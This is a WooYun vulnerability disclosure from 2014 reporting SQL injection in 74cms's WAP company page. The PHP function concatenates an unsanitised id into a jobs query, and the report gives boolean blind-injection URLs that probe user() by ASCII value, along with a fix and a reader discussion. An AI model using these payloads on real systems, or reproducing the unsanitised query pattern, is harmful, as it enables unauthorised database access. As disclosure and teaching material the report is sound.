当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(5) 关注此漏洞

缺陷编号: WooYun-2014-82539

漏洞标题: 74cms一处注入。

相关厂商: 74cms.com

漏洞作者: SLAckEr

提交时间: 2014-11-11 10:14

公开时间: 2015-02-09 10:16

漏洞类型: SQL注射漏洞

危害等级: 中

自评Rank: 10

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

1人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-11: 细节已通知厂商并且等待厂商处理中
2014-11-11: 厂商已经确认,细节仅向厂商公开
2014-11-14: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-01-05: 细节向核心白帽子及相关领域专家公开
2015-01-15: 细节向普通白帽子公开
2015-01-25: 细节向实习白帽子公开
2015-02-09: 细节向公众公开

简要描述:

RT

详细说明:

/wap/wap-company-show.php

code 区域
define('IN_QISHI', true);
require_once(dirname(__FILE__).'/../include/common.inc.php');
require_once(QISHI_ROOT_PATH.'include/fun_wap.php');
require_once(QISHI_ROOT_PATH.'include/mysql.class.php');
$smarty->cache = false;
$db = new mysql($dbhost,$dbuser,$dbpass,$dbname);
$smarty->assign('show',company_one($_GET['id']));
$smarty->assign('goback',$_SERVER["HTTP_REFERER"]);
$smarty->display("wap/wap-company-show.html");
?>



传递进来一个id,看一下company_one

/include/fun_wap.php

code 区域
function company_one($id)
{
global $db;
$wheresql=" WHERE id=".intval($id);
$sql = "select * from ".table('company_profile').$wheresql." LIMIT 1";
$val=$db->getone($sql);
$jobslist = $db->getall("select * from ".table('jobs')." where `company_id`=".$id." limit 5");
foreach ($jobslist as $key => $value) {
$jobslist[$key]['url'] = wap_url_rewrite("wap-jobs-show",array("id"=>$value['id']));
}
$val['jobslist'] = $jobslist;
return $val;
}



虽然在wheresql这里做了过滤

$wheresql=" WHERE id=".intval($id);

但是下面

$jobslist = $db->getall("select * from ".table('jobs')." where `company_id`=".$id." limit 5");

却没有处理。

随便注册个号,访问一个发布了职位的企业,或者自己申请个企业的号,访问自己的主页

鼠标移到招聘职位的地方,可以看到id

1.png



2.png



3.png

漏洞证明:

**.**.**.**/74cms1104/wap/wap-company-show.php?id=1 and ascii(substring((user()),1,1))=114 返回正常,说明user()的第一个字符的ascii为114

**.**.**.**/74cms1104/wap/wap-company-show.php?id=1 and ascii(substring((user()),1,1))=1141 返回错误

盲注吧。

修复方案:

过滤传入的参数,在通用防注入中把substr和ascii加进去。。话说新的防注入有点蛋疼,不过是好事 哈哈、

版权声明:转载请注明来源 SLAckEr@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-11-11 10:27

厂商回复:

感谢反馈!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-02-16 21:13 | 1c3z ( 普通白帽子 | Rank:297 漏洞数:63 | @)!^)
    1

    无法复现。。下的版本应该修复了。。 $jobslist = $db->getall("select * from ".table('jobs')." where `company_id`=".$val['id']." limit 5");

  2. 2015-02-16 22:52 | SLAckEr ( 实习白帽子 | Rank:62 漏洞数:23 )
    1

    @1c3z 好久之前的版本了,当前版本是没法复现

  3. 2015-02-16 22:56 | 1c3z ( 普通白帽子 | Rank:297 漏洞数:63 | @)!^)
    1

    @SLAckEr 嗯嗯,把$val['id']改为$id,就复现了。。 哈哈哈。。不过我手上的版本全局过滤了select,不知道你这个过滤了没有。

登录后才能发表评论,请先 登录